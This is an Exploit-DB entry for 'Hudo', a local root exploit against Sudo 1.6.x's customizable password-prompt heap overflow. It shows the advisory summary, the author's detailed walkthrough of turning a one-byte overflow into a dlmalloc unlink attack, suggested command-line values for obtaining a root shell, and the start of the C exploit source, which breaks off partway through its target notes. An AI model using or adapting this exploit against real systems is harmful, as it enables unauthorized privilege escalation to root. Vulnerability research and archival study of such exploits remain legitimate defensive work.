Exploit-DB #21420
Description: Sudo 1.6.x - Password Prompt Heap Overflow
Type: local
Platform: linux
Date: 2001-11-01
Author: MaXX

Exploit:
// source: https://www.securityfocus.com/bid/4593/info

Sudo is a widely used Linux/Unix utility allow users to securely run commands as other users.

Sudo is vulnerable to a heap overflow condition related to it's customizable password prompt feature. The nature of the sudo utility requires that it be installed setuid root. Successful exploitation may allow for local attackers to gain root privileges. 

/*
 * Created: November 1, 2001
 * Updated: August 8, 2002
 * Updated-2: November 4, 2002 by Eds and Dexter_Man
 *   ______
 *  /   ___\ __ _  ____  ____  ____ ____ ____  __ _
 *  \____  \/  / \/    \/    \/  _ \    \ _  \/  / \
 * /        \___  \  \  \  \  \ ___/  \_/___  \___  \
 * \______  / ____/__/  /__/  /___ \__/ / ____/ ____/
 *        \/\/        \/    \/    \/    \/    \/
 *
 * Hudo versus Linux/Intel Sudo
 * "Another object superstitiously believed to embody magical powers"
 * Copyright (C) 2001 MaXX 
 *
 * Okay.. I discovered a vulnerability in Sudo while I was working on
 * the Vudo exploit. All Sudo versions are vulnerable, even the latest
 * one. In the file check.c, function expand_prompt(), the author forgot
 * to reset the lastchar variable in the second loop. So if the last
 * character of the prompt (controlled by the attacker) is a '%', and if
 * the first character of the prompt is a 'u' or a 'h', the attacker can
 * trick expand_prompt() into performing an additional escape.
 *
 * But there was not enough memory allocated for this additional escape,
 * so the attacker effectively overflowed the new_prompt buffer (but the
 * severity of the overflow depends on the length of the username or
 * hostname). Quite a weird vulnerability.
 *
 * After a lot of research, I managed to exploit the bug.. the attacker
 * does not even need to know the password of the user used to run the
 * exploit (unlike the Vudo exploit.. exploiting the bug via nobody or
 * www-data works fine now). I transformed the whole overflow into a
 * one-byte heap overflow, which in this case was hard to exploit, but
 * was actually exploitable, and I managed to exploit the bug 7 times
 * out of the.. 7 times I tried the exploit.
 *
 * I wrote the most important comments in the hudo.c file, but will
 * explain the main technique, and also the most reliable way to find
 * out the two command line values needed in order to obtain a root
 * shell. BTW.. if you manage to exploit Sudo on other Linux/Intel
 * architectures, please update hudo.c and let me know.. thank you.
 *
 * Imagine you have a hole somewhere in the heap.. you store the
 * new_prompt buffer (whose size corresponds to the third command line
 * parameter of the Hudo exploit), which will be overflowed, at the
 * beginning of this hole. Now imagine that after new_prompt was stored
 * at the beginning of the hole, the size of the last_remainder chunk
 * (the rest of the hole) is equal to (0x100+16) bytes. If we overwrite
 * the LSByte of this size field with a NUL byte during the one-byte
 * overflow, the size of the last_remainder chunk will become 0x100.
 *
 * Now imagine buffers are allocated within the apparent 0x100 bytes
 * of the last_remainder chunk, and imagine the hole is finally filled
 * with a last allocated buffer. dlmalloc will be tricked into believing
 * that the beginning of the next contiguous allocated chunk is located
 * immediately after the end of that last allocated buffer, whereas
 * it is in fact located 16 bytes after the end of the last allocated
 * buffer (dlmalloc is fooled because we transformed (0x100+16) into
 * 0x100).
 *
 * So if the last allocated buffer is free()d, dlmalloc will try to
 * unlink() the next contiguous chunk, and will read an imaginary
 * boundary tag located within the aforementioned 16 bytes, where of
 * course the Hudo exploit stored a fake boundary tag (via the malloc()
 * and free() of a huge buffer (whose size corresponds to the second
 * command line parameter of the Hudo exploit) filled with fake boundary
 * tags).
 *
 * That's all, folks :) Try $((16392-8)) for cmnd_args_size, and
 * $((16392-8-256-16)) for sudo_prompt_size, it will work most of the
 * time. If it does not work, a brute force or guess process is needed..
 *
 * -- MaXX
 */

#include <netdb.h>
#include <pwd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

/*
 * Code ripped from the malloc.c file shipped with the GNU C Library.
 */

typedef struct malloc_chunk {
    size_t prev_size;
    size_t size;
    struct malloc_chunk * fd;
    struct malloc_chunk * bk;
} * mchunkptr;

#define SIZE_SZ sizeof(size_t)
#define MALLOC_ALIGNMENT ( SIZE_SZ + SIZE_SZ )
#define MALLOC_ALIGN_MASK ( MALLOC_ALIGNMENT - 1 )
#define MINSIZE sizeof(struct malloc_chunk)

size_t
request2size( size_t request )
{
    size_t size;

    size = request + ( SIZE_SZ + MALLOC_ALIGN_MASK );
    if ( size < (MINSIZE + MALLOC_ALIGN_MASK) ) {
        size = MINSIZE;
    } else {
        size &= ~MALLOC_ALIGN_MASK;
    }
    return( size );
}

/*
 * Information concerning the architectures exploited by Hudo:
 *
 * - description: a string describing the target architecture;
 *
 * - fqdn: a boolean flag indicating whether or not fully-qualified
 * hostnames are required in the sudoers file (run `sudo -V' as root in
 * order to find out);
 *
 * - function_pointer: the address of the function pointer overwritten
 * by the exploit.. the malloc or free GOT entry should be okay (run
 * `objdump -R sudo | grep malloc' for example);
 *
 * - code_address: the 2^16 bytes heap area where the SHELL environment
 * variable is estrdup()ed by Sudo.. for example, if estrdup() returns
 * 0x08061242, code_address should be equal to 0x08060000;
 *
 * sudo: the complete path to the Sudo binary.. should be equal to
 * "/usr/bin/sudo" almost e